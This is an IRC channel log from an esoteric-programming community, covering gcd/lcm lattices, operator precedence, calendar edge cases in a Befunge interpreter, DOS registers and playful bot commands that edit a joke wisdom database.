00:02:37 <hppavilion[1]> To be precise: Where ςx indicates the prime factorization of x expressed as a bag (multiset) and M{e}- where M is a multiset and e is some value- represents the degree of e in M (M{e} = 0 if e ∉ M): ςgcd(x,y){p} = max(ςx{p}, ςy{p})
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00:17:02 <FireFly> Huh, never thought of that
00:17:21 <FireFly> Well, it makes sense though
00:18:48 <FireFly> isn't it rather basically intersection and union of prime factors?
00:19:02 <FireFly> where you define that sensibly for bags
00:20:52 <oerjan> <shachaf> What, so scripts that rerun old commands from history will have to discriminate between pre- and post-fix commands? <-- iirc they already have the problem that `run doesn't include run in its commit messages.
00:21:14 <alercah> FireFly: that's because hppavilion[1] is the sort of person who uses final sigma as a variable name
00:21:50 <hppavilion[1]> FireFly: Oh, yeah, that too. Forgot that I'd also thought of it that way, and that that way is better
00:22:01 <FireFly> hppavilion[1]: oh, I guess it's min/max of the powers of each corresponding prime factor
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00:22:25 <hppavilion[1]> FireFly: Yeah, it is. Which is also a reasonable definition for intersection and union, respectively
00:22:34 <hppavilion[1]> (Though, union could also be defined as addition, so...)
00:22:57 <alercah> hppavilion[1]: function, whatever
00:23:21 <hppavilion[1]> alercah: I kind of think of it as an atomic symbol like +, but it's basically a function, yes
00:31:14 <FireFly> I think of + as a function
00:31:55 <shachaf> Addition being multiplication?
00:37:45 <olsner> shapr: have you heard people talk about 3.5" or 5.25" diskettes in swedish? were they three point five or three and a half inch? (also five point 25 vs five and a quarter, if you're old enough for that)
00:37:55 <oerjan> the positive integers are isomorphic to N^N as a monoid (with * -> +), or as a lattice with gcd, lcm -> min, max.
00:38:41 <shachaf> olsner: in hebrew it's three and a half hth
00:39:23 <oerjan> hm if you do a\b = lcm a b/b you get bag difference.
00:39:49 <oerjan> well, something like it.
00:40:08 <shachaf> the positive naturals are the free commutative monoid generated by the primes
00:40:13 <oerjan> meaning the lattice is distributive.
00:40:33 <shachaf> the naturals are the free semilattice generated by the powers of two
00:40:44 <shachaf> what sorts of other free algebraic structures are the naturals?
00:41:12 <oerjan> shachaf: i told you, as did hppavilion[1]: gcd and lcm.
00:41:27 <oerjan> they are also a lattice.
00:42:20 <shachaf> Yes, they're also the free monoid on one generator.
00:45:07 <shachaf> lcm would not be very useful if that was the case hth
00:46:19 <hppavilion[1]> (I don't care what your conventions are, the first thought is that b/b associates before functions, so it's better)
00:46:35 <hppavilion[1]> shachaf: I am the kids and have not once said that
00:46:45 <shachaf> your first thought is wrong and you should feel wrong
00:46:49 <hppavilion[1]> shachaf: What we're saying is "lrn2president", and it's just to Donald.
00:47:09 <hppavilion[1]> shachaf: It looks righter, so you should be unambiguous or go with the straightforwarder one.
00:47:30 <shachaf> function application has the highest presidence
00:47:38 <shachaf> nothing has been curried here
00:48:32 <hppavilion[1]> shachaf: Yeah they have. If you're using unparenthetical functions, then whether it takes precedence is context-defined, and there are different natural-seeming protocols
00:48:59 * hppavilion[1] . ø Ø ( This isn't even a semantic argument, it's just a syntactic one )
00:49:23 <shachaf> I'm not sure what "infix > curried" functions are.
00:51:22 <shachaf> Haskell puts function application at, I think, the third-highest precedence.
00:51:36 <shachaf> But it's more precedential than any infix operator.
00:54:10 <shachaf> I think it was a{} construction and a{} modification or something like that.
00:54:17 <shachaf> And a{} in pattern-matching context?
00:55:23 <shachaf> I think there was something else.
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01:56:29 <Cale> https://www.youtube.com/watch?v=LA_DrBwkiJA tom7 has done it again :D
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03:14:26 <hppavilion[1]> So that bill that lets companies sell your private data
03:14:35 <hppavilion[1]> I think I might have a solution (for us US residents)
03:15:14 <hppavilion[1]> Take the Ad Nauseam approach: Make a program that constantly scours the internet for bizarre content and use that so your data is worthless- almost none of it relates to you
03:17:49 <hppavilion[1]> The Child Protection Act probably forbids them from distributing content like this, so any house with children might be safe.
03:20:41 <pikhq> The sad part is, the bill doesn't let companies sell your private data. It *stops the FCC* from stopping companies from selling your private data before the new regulations to that effect would go into effecct.
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03:21:04 <pikhq> i.e. it doesn't quite change the status quo, it just went "Fuck, that regulation is clearly a bad idea."
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06:05:03 <zzo38> {-} Conspiracy ;; Double agenda ;; Permanents with each chosen name have protection from the other chosen name.
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08:45:04 <izabera> if you're developing a game with a fictional world
08:45:13 <izabera> and you have a character that looks like a koala
08:45:20 <izabera> is it racist to give it an australian accent?
08:57:29 <rdococ> it's a fictional world, does australia even exist?
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09:11:38 -!- hppavilion[1] has set topic: It is officially the future as of now | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
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10:11:23 <int-e> izabera: I'd say no; generally giving your characters certain accents isn't racist by itself in my view. (Note that, for example, Jar Jar Binks caused upset not because the particular accent was used, but because it was given to a very stupid (though incredibly lucky) character and people took offense at that stereotypical association.)
10:12:20 <shachaf> Smarter than a koala, though, I imagine.
10:13:03 <int-e> Heh, you're clearly not reading "A Girl and Her Fed"
10:18:45 <int-e> (Meet Speedy: http://agirlandherfed.com/1.96.html [warning, that strip's a remake and if you actually want to read the whole thing you'll have to deal with art that looks like http://agirlandherfed.com/1.98.html for some time.])
10:22:59 <int-e> (FWIW, treating a koala like a stupid little kid because he's a koala? That's racist ;-) )
10:24:24 <shachaf> What about a fictional species?
10:24:46 <shachaf> int-e: you should help me roll these sausages twh
10:26:27 <int-e> I've been distracted from Torment by Thistleweed Park.
10:27:18 <shachaf> Ah, I got the email about that the other day.
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10:28:58 <int-e> And somehow I ended up paying the full retail price (it's not more than $20 after all, for an adventure game! (technically, of course, it's €20 minus a future discount...))
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10:34:17 <int-e> gog has regional pricing, but somehow tries to compensate for this by giving store credit for sales where the price in EUR is is the same amount as the price in USD.
10:35:07 <shachaf> I don't know much I paid, but it was in 2014.
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15:11:09 <HackEgo> guestbot//guestbot is nobody
15:15:02 <fungot> boily: oy. i'll get to move around a subroutine pointer. getting rid of currying was not part of the game loop starts.
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15:33:16 <wob_jonas> boily: re your question many days ago, the commands are `random-card and `card-by-name
15:33:51 <wob_jonas> the first one searches in the full text as listed in the Yawgatog-formatted oracle file, and prints a random matching card, the second one searches only at the start of the card name and prints all matches
15:34:12 <HackEgo> Infectious Rage \ 1R \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +2/-1. \ When enchanted creature dies, choose a creature at random Infectious Rage can enchant. Return Infectious Rage to the battlefield attached to that creature. \ JUD-U
15:34:12 <int-e> `cwlprits guestbot
15:34:35 <int-e> that entry seems kind of pointless
15:37:25 <rdococ> 'to' = 2; 'for' = 4; /eıt/ = 8; 'fuck' = 4k;
15:37:35 <HackEgo> U+F105 - No such unicode character name in database \ UTF-8: ef 84 85 UTF-16BE: f105 Decimal:  \ () \ Uppercase: U+F105 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
15:37:36 <rdococ> 4k is nothing but marketing crap confirmed
15:38:10 <int-e> `rm wisdom/guestbot
15:38:58 <boily> wellob_jonas. tdh!
15:43:33 <boily> `random-card chicken
15:43:34 <HackEgo> Fowl Play \ 2U \ Enchant Creature \ Enchanted creature loses all abilities and is a 1/1 creature that counts as a Chicken. \ UG-C
15:45:16 <int-e> nice flavor text, no pun intended: "I feel like chicken tonight!"
15:46:24 <rdococ> Everyone knows, when you put "no pun intended", that the pun is intended.
15:47:13 <boily> int-ello, rdochelloc.
15:47:17 <int-e> I wasn't actively looking for the pun, it just happened and I noticed.
15:48:41 <rdococ> But puns are never a bad thing.
15:49:59 * boily discreetly oils his mapole and gives it a few practice swings
15:54:18 * rdococ discretely takes some bamboo sticks and string to construct a bamboo shield.
15:54:21 <int-e> boily: I rather suspect that the pun was first made by the M:tG people.
15:55:10 * rdococ licks int-e. tastes like chicken.
15:59:18 <boily> int-e: I know, I have that card ^^
15:59:44 <boily> rdococ: please, no licking people in this chännel. there once was a guy called "ion" and he was licked into dissolution.
16:00:09 <boily> even his wisdom disappeared...
16:05:47 <rdococ> Thanks for the valuable information. I'll keep that in mind if someone smacks me with a mapole, specimen of fish, or some other object.
16:06:08 <int-e> `` cd wisdom; echo *ion*
16:06:09 <HackEgo> abbreviation action algebraic chess notation auction bessel function cat elimination cat introduction cipation citation civilization companion cube composition cut elimination damnation defenestration dereduntantation detonation eurovision hallucination hppavilion hppavilion1 hppavilion[1] hppavilion[42] hppavilion^k hppavilion_m identity function
16:06:22 <int-e> maybe it bonded with some other ion
16:06:59 <Taneb> `? algebraic chess notation
16:07:00 <HackEgo> Algebraic chess notation is not a notation for algebraic chess.
16:07:07 <Taneb> `? algebraic chess
16:07:08 <HackEgo> algebraic chess? ¯\(°_o)/¯
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16:10:35 <boily> `grwp algebraic chess notation
16:11:01 <HackEgo> anana:ananas is the real pineapple.
16:11:09 <HackEgo> algebraic chess notation:Algebraic chess notation is not a notation for algebraic chess.
16:11:18 <HackEgo> Chess is a complex boardgame, where players exchange unclear royal steaks until they decide which of them has lost. The game is recorded through the Gringmuth Moving Pineapple Notation.
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16:27:58 <fizzie> `` mv wisdom/anana wisdom/ananas
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18:21:46 <Taneb> I was more referring to the trace of a matrix
18:31:40 <boily> can a matrix have a debug option?
18:35:03 * boily mapoles rdococ into the next diagonal
18:35:56 * rdococ blocks with his bamboo shield
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18:37:12 * rdococ rolled a 1d6 at random.org... the result was 3
18:37:33 * rdococ successfully blocks the mapole, but the shield is close to breaking (and being delicious).
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18:38:17 <boily> https://en.wikipedia.org/wiki/Bamboo#Culinary
18:38:38 <boily> fungot: 2d12 + 1d8
18:38:39 <fungot> boily: programming is tough man to make a coffee while compiling) it only depends on case-sensitivity, otherwise it's trivially impossible
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18:44:25 <rdococ> something can be contradictory, but what does it mean for something to be dictory, or ntradictory?
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19:46:15 <Vorpal> According to coverage tests I just did of cfunge running mycology, the tests for DATE never hit the "is not leapyear" case
19:47:31 <Deewiant> Depends on the instruction you're looking at I guess
19:47:54 <Vorpal> Ah wait, it never hits the "isn't leap year due to the 100 year rule"
19:48:03 <Vorpal> in the shared is_leap_year function
19:48:21 <Vorpal> https://codecov.io/gh/VorpalBlade/cfunge/src/fd1d838ab7198c63380450c620fc4026b04a30e9/src/fingerprints/DATE/DATE.c#L87
19:48:48 <Vorpal> nor is feb ever 28 days long in any tests
19:49:25 <rdococ> February the 29th is happy somecode cares about it
19:52:02 <int-e> "handle year 0" is cute.
19:52:37 <int-e> what about years 1 to 1582?
19:53:00 <zzo38> I think year 0 is the same as 1 BC isn't it?
19:53:12 <zzo38> (and then year -1 is 2 BC, and so on)
19:53:16 <Vorpal> int-e: I think it is a RCFunge fingerprint so it is probably badly specified
19:53:39 <Vorpal> int-e: also not all countries switched then, so you would /have/ to know which country it is in
19:54:03 <int-e> Vorpal: I know. Russia switched in 1917, was it the last one?
19:54:04 <Vorpal> it is easier and saner to suggest using the proleptic Gregorian calendar
19:54:21 <Vorpal> int-e: look up how Sweden switched, it is really insane
19:55:45 <int-e> oh, I guess zzo38 has it right. it's moving -1, encoding 1 BC, to 0.
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19:56:42 <zzo38> I think Dee wanted to switch to Gregorian calendar gradually, even though most of the royals did not like Gregorian calendar because is from the pope, but actually should have the benefit of its own idea, regardless who invented it (although, since the pope invented it, is why to call Gregorian)
19:57:53 <Vorpal> zzo38: Deewiant: http://rcfunge98.com/rcsfingers.html#DATE
19:58:13 <Vorpal> "Gregorian calendar is assumed for calendar dates"
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20:14:15 <int-e> Vorpal: yeah I have to admit I was misled by the comment
20:14:51 <Vorpal> int-e: did you look up how Sweden did the fixing?
20:15:16 <Vorpal> https://en.wikipedia.org/wiki/Swedish_calendar
20:16:55 <int-e> I may have seen this before.
20:18:12 <int-e> (yes, I have; the occasion being the mystery of the Februrary 30th date.)
20:18:30 <int-e> But thanks for the reminder, I had mostly forgotten about it.
20:20:06 <Vorpal> Also, what about the Arabic calendar?
20:20:14 <Vorpal> don't they have a completely different year?
20:23:59 <int-e> a lunar one, apparently
20:24:21 <fizzie> Thailand has a solar calendar that's got a different year.
20:24:33 <fizzie> Made reading "best before" dates on products a bit challenging.
20:24:53 <fizzie> "Years are now counted in the Buddhist Era (B.E.): พุทธศักราช, พ.ศ., rtgs: Phutthasakkarat) which is 543 years ahead of the Christian/Common Era." https://en.wikipedia.org/wiki/Thai_solar_calendar
20:25:23 <rdococ> Why not just count from today?
20:25:34 <rdococ> Today is the 1st of Firstmoon, 1.
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20:26:29 <fizzie> ("Different year" as in the number is different, the definition is the same.)
20:27:16 <Vorpal> fizzie: same rule for leap year as Gregorian then?
20:28:52 <fizzie> I believe so, though of course with an offset in the divisible by 4/100/400 bit. And they adjusted the day the year starts at one point, so there's one short year.
20:30:01 <Vorpal> the problem with code coverage for cfunge is there is a lot of "if (!x()) { ip_reverse(); return; } style of thing for OOM conditions and such
20:30:25 <hppavilion[1]> Has everybody here preordered their Google Gnome yet?
20:30:41 <Vorpal> hppavilion[1]: seen the video
20:30:54 <fizzie> I was thinking of just converting a Home with a paper hat.
20:31:08 <fizzie> (Also don't have a garden.)
20:33:21 <fizzie> The Finnish national railway operator (VR) and the national gambling monopoly company (Veikkaus) had a joint April Fool's joke about how you'll be able to start betting (for money) whether the trains run on time or not.
20:33:52 <fizzie> Tries a little too hard to be self-deprecating, but.
20:34:31 <fizzie> I guess technically every time you buy a ticket you're already doing that, because there's a refund if there's a long enough delay.
20:39:13 <Vorpal> fizzie: well, what are the odds on a refund?
20:39:25 <Vorpal> I guess you never get more than you put in?
20:39:30 <shachaf> Why is betting typically illegal in the US?
20:40:33 <zzo38> I have implemented Gregorian, Julian, and Discordian calendars, in TeX.
20:40:37 <fizzie> Vorpal: Yeah, the statutory one can't exceed the price you paid for the tickets. There's different tiers depending on how late they are.
20:40:57 <fizzie> Vorpal: Virgin Trains in UK gave us back more money than we paid, though.
20:41:38 <fizzie> I don't know why, they're supposed to just do the usual refunds, but they sent us back a very apologetic letter with a £50 voucher.
20:41:48 <fizzie> We'd paid something like £34 or somewhere in that ballpark.
20:43:01 <fizzie> The other time they just refunded the bank account of the debit card I had paid with, completely proactively before we could even do a claim.
20:43:11 <zzo38> Do you know? In the next Magic: the Gathering they say there is now embalming. It is activated ability of a card in a graveyard, which exiles that card and creates a token copy which is white instead of the card's colors, a Zombie in addition to the card's subtype, and lacks the card's mana cost.
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22:01:00 <HackEgo> [wiki] [[WysiScript]] N https://esolangs.org/w/index.php?oldid=51635 * B jonas * (+580) Created page with "'''WysiScript''' is a programming language in which programs are formatted (rich) text, and that completely ignores the characters in the input, caring only about their format..."
22:05:24 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51636&oldid=51624 * B jonas * (+17)
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23:12:48 <HackEgo> partial order//A partial order is just a small thin skeletal category.
23:13:06 <boily> . o O ( are there thick skeletons? )
23:17:11 <boily> helloochaf. skeletal pooches.
23:18:40 <zzo38> I think I noticed that too about partial order, before
23:21:47 <Phantom_Hoover> was it someone in #esoteric who did the printable binary
23:23:20 <zzo38> Someone on here mentioned it, but I think Tom 7 made that program.
23:24:01 <HackEgo> smlist: shachaf monqy elliott mnoqy Cale
23:24:09 <Cale> http://www.supermegacomics.com/index.php?i=452
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00:07:28 <boily> quinthellopia! que le samedi soit avec toi!
00:08:10 <boily> hell§rjan, his523, hppavellon[1], Callo, hezzo38, Phantom_Helloover.
00:08:30 <boily> “may the Saturday be with you!”
00:08:55 <oerjan> it's DST here now, so it isn't midnight UTC
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00:10:07 * boily hates DST. and PDFs. and a bunch of other TLAs.
00:10:40 <boily> we should be at -4 all year long.
00:10:50 <zzo38> I don't like daylight saving time either.
00:10:58 <zzo38> And, PDF also isn't very good, I think.
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00:16:55 <boily> with STR, CON, INT, WIS and CHR.
00:17:00 <boily> are there any other AGIs?
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00:31:50 <int-e> "adventure game interpreter"
00:36:54 <oerjan> . o O ( maybe we're actually living inside something that's an AGI in both senses )
00:37:18 <boily> huh. you can actually make plants invisible in DCSS...
00:37:20 <oerjan> . o O ( although the game sucks )
00:37:37 <oerjan> boily: you did not see that coming?
00:37:38 <quintopia> i was think artificial general intelligence, but agility works too, if you're into acrobatics
00:37:49 <shachaf> oerjan: should i use b-trees instead of binary trees for in-memory data structures twh
00:38:00 * boily ninjaly thwacks oerjan. 0.19 FP.
00:38:04 <int-e> . o O ( AGI is like SCUMM except you die all the time. )
00:38:29 <oerjan> shachaf: i know, vaguely, what a b-tree is. i'm not sure i've ever implemented one.
00:39:10 <int-e> <int-e> "adventure game interpreter" <-- it's by Sierra
00:40:01 <shachaf> it's also annual gross income
00:40:33 <shachaf> the us citizens among us, that is
00:40:50 <quintopia> yeah i really should do that. i usually don't wait this long
00:41:00 <shachaf> Last year I was so prompt with my taxes.
00:41:06 <shachaf> I was done in February, I think.
00:41:12 <shachaf> This year it's going to be a bit messier.
00:41:27 <oerjan> . o O ( all income is gross )
00:42:24 <shachaf> oerjan: do you need someone to take care of yours wth
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00:42:39 <boily> quintopia: Dungeon Crawl Stone Soup.
00:42:55 <oerjan> shachaf: you're _not_ getting my income hth
00:43:18 <shachaf> obviously i meant zzo38 hth
00:44:26 <quintopia> oerjan: your puns need some adjustment
00:45:04 <shachaf> The thing that confuses me is that there's something called "MAGI", "modified AGI"
00:45:13 <shachaf> So I always thing the A couldn't possibly be "adjusted"
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00:53:01 <boily> `relcome h0rsep0wer
00:53:03 <HackEgo> h0rsep0wer: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:05:21 <quintopia> where's a myndzi when you need one
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01:18:01 <boily> hppavilion[1]: can you myndze?
01:21:13 <boily> hppavilion[1]: a Russian Event. where do hamsters go?
01:21:35 * boily thwacks shachaf. 0.63 FP
01:21:57 <HackEgo> “Only sane adverb” boily is monetizing a brotherhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He is also a NaniDispenser, a Trigotillectomic Groan Man Eating Chicken, a METARologist, seriously lacking in the f-word department, a thwack doctor, and a renowned Capitalist who helps keep the world boring.
01:22:23 <shachaf> boily is a renowned Capitalist?
01:23:03 <oerjan> <quintopia> oerjan: your puns need some adjustment <-- which ones twh
01:25:02 <shachaf> oerjan: i think the pun was on "adjusted gross income" hth
01:25:20 <boily> shachaf: I can't remember why I'm a Capitalist, but I think it made sense at the time. or something.
01:26:10 <shachaf> `` dowg Boily | grep Capital
01:26:25 <shachaf> `` dowg boily | grep Capital
01:26:32 <HackEgo> 10107:2017-01-07 <boil̈y> le/rn boily//\xe2\x80\x9cOnly sane adverb\xe2\x80\x9d boily is monetizing a brotherhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He is also a NaniDispenser, a Trigotillectomic Groan Man Eating Chicken, a METARologist, seriously lacking in the f-word department, and a renowned Capitalist wh
01:26:41 <shachaf> `2 dowg boily | grep Capital
01:26:50 <HackEgo> 2/2: Capitalist who helps keep the world boring. \ 7173:2016-03-08 <int-̈e> learn_append boily He is also a renowned Capitalist.
01:27:15 <shachaf> Oh, it's probably about Capital letters.
01:27:26 <shachaf> I think ShubShub is the renowned Capitalist.
01:27:37 <boily> what's a ShubShub?
01:27:57 * boily is startled by the sudden pink of /r/writingprompts
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01:42:00 <HackEgo> lie//Lies are even easier than monoids. They form groups, known as Lie groups.
01:42:25 <HackEgo> 1/2:gamemanj//gamemanj is also the mad scientist I. N. Here. He will overthink everything, except whether overthinking is wrong. \ blsqbot//blsqbot is the owner of the bot 'mroman'. \ m–rdalsjökull//M–rdalsjökull is a draconic volcano harbouring the secret KATL base. \ eliot//Eliot inverted cats, then Taneb stole his
01:44:39 <shachaf> Cale: Conor McBride is the best.
01:44:50 <shachaf> Cale: Er, never mind, I'm 4 years late.
01:48:14 <boily> Pie Fungot Domine. Dona eis Tanebventionem.
01:53:21 <hppavilion[1]> Well, I figured out why KeePass2 was misidentifying me here
01:53:35 <hppavilion[1]> (it was typing in the wrong password for no discernible reason)
01:54:04 <hppavilion[1]> I have NumShift, which makes my numrow map to 0123456789 instead of 1234567890, so it was typing in the numbers wrong
01:54:31 <lambdabot> oerjan said 1d 9h 30m 19s ago: <hppavilion[1]> I forget, was "Tubular" ever a slang the way "Radical" and "Far-out" were? <-- the surfer characters on mezzacotta use it, i think, so maybe it was
01:55:59 <oerjan> . o O ( is that the correct vocative of Fungot? afair latin doesn't really have nouns ending in -t. )
01:56:36 <oerjan> otoh afair anything _not_ ending in -us tends not to have a special vocative.
01:57:29 <oerjan> hppavilion[1]: i thought the drawl was on purpose.
01:58:13 <oerjan> i didn't cringe merely correct hth
01:58:19 * hppavilion[1] suffocates oerjan in a jar and adds him to his collection
01:58:42 * oerjan makes a daring escape together with jar jar binks
01:59:14 <oerjan> it's the darths & droids version
02:00:33 <boily> I think only Taneb is vocativable. at least, according to tradition.
02:00:56 <boily> . o O ( Fungotte? Ō Fungot? )
02:02:48 <HackEgo> U+1F350 PEAR \ UTF-8: f0 9f 8d 90 UTF-16BE: d83cdf50 Decimal: 🍐 \ 🍐 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
02:05:50 <oerjan> boily: well we don't seem to have any nicks in -us, so... istr one taktentus at one point.
02:07:02 <boily> pear, in honour of the Biting Pear of Salamanca.
02:07:44 <oerjan> `learn istr istr is vaguely similar to iirc.
02:07:47 <HackEgo> Learned 'istr': istr istr is vaguely similar to iirc.
02:09:00 <HackEgo> @messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-bold / @messages-good @messages-gold
02:09:31 <boily> that's a good one ^^
02:11:04 <Cale> shachaf: Conor McBride is pretty great, sure :)
02:11:23 <shachaf> Cale: Someone linked to https://www.reddit.com/r/haskell/comments/11flui/for_extremists_only_containers_calculus_comonads/
02:11:34 <shachaf> And I thought it was a recent comment but it's old.
02:12:15 <Cale> haha, I remember that
02:12:31 <shachaf> Anyway recognizing his style is usually easy.
02:14:19 <HackEgo> nightstar:The Nightstars are an unscientific myth of a sky covered in faint flickering lights. Only hermits and superstitious farmers believe this.
02:15:12 <HackEgo> int-e:int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv. Hen gillar inte färger, men han gillar dissonans. \ oerjan:Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it h
02:15:24 <HackEgo> 2/3:so he put it here for connivance; but lately it's the only word he ever rememes. His arch-nemesis is Betty Crocker. He twice punned without noticing it. \ soviet russia:Soviet Russia used to be a synonym for the Soviet Union. In reality, the Soviet Union dissolved. Meanwhile, Soviet Russia dissolved reality, and you are a figment of i
02:15:30 <HackEgo> 3/3:ts imagination. \ webcarting:webcarting is not dissimilar to Mario Kart, but uses real, remote-controlled go-karts. Participants describe it as "the outlandish spectacle of real go-karting combined with the thrill and immersion of Mario Kart".
02:15:34 <shachaf> oerjan: Do you diss Roald Dahl?
02:16:04 <oerjan> yep, he was a jerk hth
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02:33:22 <Jafet> `learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true.
02:33:24 <HackEgo> Learned 'iirc': iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true.
02:33:35 <HackEgo> Ii is a municipality in Finland, no matter what you do. Except for speaking Swedish.
02:34:09 <Sgeo> Cybertown is back from the dead at http://cybertown-webgl.com/ !
02:34:25 <Sgeo> (April Fools, it's still dead. I am in the process of resurrecting the 3d worlds though)
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03:09:36 <HackEgo> i,i is short for "I have wasps in my underwear, and I want to distract myself by saying".
03:09:53 <HackEgo> oerjän oerjän oerjän tsweẗt
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07:36:44 <\oren\> https://snag.gy/xMXrR9.jpg
07:36:55 <\oren\> hooray for glorius egypt
07:38:52 <shachaf> You should mark your screenshots from that game somehow.
07:39:18 <\oren\> also india is now all belong to glorius egypt
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08:22:30 <hppavilion[1]> @msg Jafet <Jafet> `learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth.
08:23:09 <hppavilion[1]> @msg Jafet <Jafet> `learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth.
08:23:18 <hppavilion[1]> @tell Jafet <Jafet> `learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth.
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08:50:00 <HackEgo> 1/1:prefrigerator//Prefrigerators are generalized frigerators with built-in preconditioners for the modern precompact home. They are now available to preorder. \ substructural typing//Not to be confused with structural subtyping. \ herbalist//An herbalist is a list of herbas. \ xyzzy//Nothing happens. \ pipe//This is not a pipe.
08:53:36 <shachaf> λ> filter (`S.member` wos) [y | x <- wo, Just y <- [stripSuffix "list" x]]
08:53:37 <shachaf> ["black","check","due","duel","idea","minima","pane","short","sty"]
08:53:54 <shachaf> oerjan: `? idealist etc. twh
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10:57:27 <lambdabot> hppavilion[1] said 2h 34m 8s ago: <Jafet> `learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth.
10:58:06 <HackEgo> amigamml:Only fools such as zzo38 and so on try to use AmigaMML on a PC. Real Men try to use AmigaMML on a Amiga computer. \ https://devlabs.linuxassist.net/projects/amigamml/wiki/Frequently_and_unfrequently_asked_questions \ guillible:A guillible person is someone who can be fooled with a Scheme script. \ time cube:EARTH HAS 4 CORNER SIMULTANEOUS
10:59:22 <HackEgo> 2/3: SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HOUR ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wrong) bible time.
11:27:47 <HackEgo> iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true.
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12:00:02 <wob_jonas> Have you looked at tom7's latest esoteric programming masterpiece? http://www.cs.cmu.edu/~tom7/abc/
12:00:14 <wob_jonas> (It's not really an esolang, but definitely esoteric programming.)
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12:18:14 <Jafet> relatedly: http://web.cs.jhu.edu/~sam/ccs243-mason.pdf
12:19:51 <wob_jonas> Jafet: yes, I think I've seen that. what distinguishes tom7's work is the "expert mode" rule
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13:06:09 <int-e> it's amazing, but I wish there was a way to not rely on fs = 0 though... (AFAIK DOS doesn't touch fs at all; its value will be determined by the last program to run.)
13:07:58 <int-e> 't see a way around it though
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13:13:00 <int-e> http://sprunge.us/IIET ... only tried it in dosbox though, maybe I should configure dosemu...
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13:17:59 <wob_jonas> int-e: you should probably try it with both various versions of MS-DOS and Freedos. It's quite possible that some of them don't modify FS at all.
13:24:16 <int-e> Basically the thing I'm not sure about is emm386.sys (and obviously, the various "DOS extenders"). Otherwise I would be very much surprised if DOS touched fs or gs.
13:25:11 <wob_jonas> int-e: well, DOS could use FS for its original purpose, as an extra segment register because four segment registers are too few, but obviously it can only do so in paths that don't have to work on older systems
13:25:20 <wob_jonas> when was FS even introduced? in 286 or 386?
13:25:37 <int-e> that's why I would be surprised
13:25:42 <wob_jonas> so MS-DOS probably doesn't use it much, but Freedos could
13:56:22 <int-e> yeah, freenode does something to those registers... getting fs=A204 and gs=54C3 (no clue what these values are) and no persistence between program executions.
13:57:32 <int-e> Plain MS DOS 6.22 is fine. I don't think I can be bothered to play with himem or emm386 or other DOS versions.
13:57:41 <wob_jonas> does any of them point to the start of any of your segments?
13:58:05 <wob_jonas> wait... you start DOS 6.22 WITHOUT himem? I almost never do that. himem is in my minimal configuration
13:58:27 <wob_jonas> note also that there are two versions of himem and of emm386 out there: one distributed with DOS 6.22, and one distributed with Windows 3
13:58:33 <wob_jonas> at least two versions, possibly more
14:00:01 <wob_jonas> himem is useful because if you load it, you get more conventional memory remaining, I think because there are parts of dos that it isn't willing to leave for swap from the system disk, but is willing to put into himem or something
14:00:07 <wob_jonas> frankly I don't understand how it works
14:18:32 <int-e> well, himem.sys is loaded.
15:15:29 <rdococ> what has never been first-classed before...
15:15:56 <rdococ> well, primitive types like int and boolean aren't first-classed often.
15:19:48 <rdococ> the thing is, many languages have associative arrays, and classes
15:20:03 <rdococ> so you can make first class everything
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15:37:20 <rdococ> actually, wait, that's C's &
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15:41:34 <boily> rdochelloc. you may want to check setjmp and longjmp hth
15:41:55 <boily> helløøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø
15:44:30 * rdococ mapoles boily in a classic plot twisr
15:45:53 <boily> oerjan: it was a non-local dynamic porthello.
15:46:25 * oerjan gets annoyed that vim's hlsearch isn't local to a window
15:46:58 <HackEgo> Ostrich used to be a large middle European empire in frequent conflict with Turkey. After a famine it sort of split into Ostrich/Hungry. Alas its policy of keeping its head in the sand did not get it through the Great War, and with its final attempts to take flight failing, it ended up cut into several pieces.
15:47:15 <HackEgo> feather:A feather is something that can be found on most birds. It is responsible for their ability to not spontaneously float, seeing as how feathers are made of osmium. Penguins and ostriches have more feathers than most other birds, many of which are internal.
15:47:23 <HackEgo> feather:A feather is something that can be found on most birds. It is responsible for their ability to not spontaneously float, seeing as how feathers are made of osmium. Penguins and ostriches have more feathers than most other birds, many of which are internal. \ ostrich:Ostrich used to be a large middle European empire in frequent conflict with
15:47:37 <HackEgo> feather \ ostrich \ turkey
15:47:44 <HackEgo> Turkey was the center of an empire that gobbled up much of Eastern Europe and the Middle East, something which brought them into conflict with Ostrich. In the 19th century the overstuffed empire started declining, and after the Great War it was cut up like so much Shish Kebab.
15:48:09 <boily> yummy shish taouk...
15:48:19 <wob_jonas> I wonder if one of those should mention that ostriches eat diamonds but don't destroy them
15:48:51 <oerjan> i'm pretty sure they shouldn't.
15:49:29 <wob_jonas> they also eat important documents and other objects
15:49:39 <oerjan> in fact i don't recognize the reference, i assume it's some game, which means it's _definitely_ out of place.
